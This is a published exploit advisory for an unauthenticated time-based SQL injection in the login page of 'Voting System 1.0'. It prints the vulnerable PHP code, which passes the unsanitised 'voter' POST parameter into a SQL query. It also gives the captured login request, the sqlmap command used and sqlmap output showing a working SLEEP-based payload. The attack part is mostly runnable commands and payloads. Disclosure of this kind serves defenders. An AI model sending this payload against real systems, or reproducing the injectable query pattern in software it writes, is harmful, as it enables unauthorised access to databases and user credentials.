Voting System 1.0 SQL Injection

Voting System version 1.0 suffers from remote time-based SQL injection vulnerability.

MD5 | 592c7f356d721b7a151d210a4283ade6

# Exploit Title: Voting System 1.0 - Time based SQLI  (Unauthenticated SQL injection)
# Date: 02/05/2021
# Exploit Author: Syed Sheeraz Ali
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows 10 20H2 + XAMPP v3.2.4

If we try to login as a voter and catch the login request in burp then pass it to sql map then we can put our payload in voter parameter

Vulnerable code


Path :- /votersystem/login.php



include 'includes/conn.php';


$voter = $_POST['voter']; <- vulnerable parameter

$password = $_POST['password'];

$sql = "SELECT * FROM voters WHERE voters_id = '$voter'"; <-
Passed unsanitized input

$query = $conn->query($sql);

if($query->num_rows < 1){

$_SESSION['error'] = 'Cannot find voter with the ID';



$row = $query->fetch_assoc();

if(password_verify($password, $row['password'])){

$_SESSION['voter'] = $row['id'];



$_SESSION['error'] = 'Incorrect password';





$_SESSION['error'] = 'Input voter credentials first';


header('location: index.php');




POST /login.php HTTP/1.1
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=vuukl0gemht1iiq7lmptu7npoe
Connection: close


Sqlmap output


python3 --dbms=mysql --batch --level=1 --risk=3 -r /Users/sheerazali/Documents/wpcve/voter.req -p voter



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[*] starting @ 07:50:56 /2021-05-02/

[07:50:56] [INFO] parsing HTTP request from

[07:50:57] [INFO] testing connection to the target URL

got a 302 redirect to ''. Do you want to follow? [Y/n] Y

redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y

sqlmap resumed the following injection point(s) from stored session:


Parameter: voter (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: voter=as' AND (SELECT 2487 FROM (SELECT(SLEEP(5)))WYpt) AND 'hBVQ'='hBVQ&password=as&login=


[07:50:57] [INFO] testing MySQL

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y

[07:51:08] [INFO] confirming MySQL
[07:51:08] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[07:51:19] [INFO] adjusting time delay to 1 second due to good response times
[07:51:19] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.3.27, Apache 2.4.46

back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[07:51:19] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/'

[*] ending @ 07:51:19 /2021-05-02/

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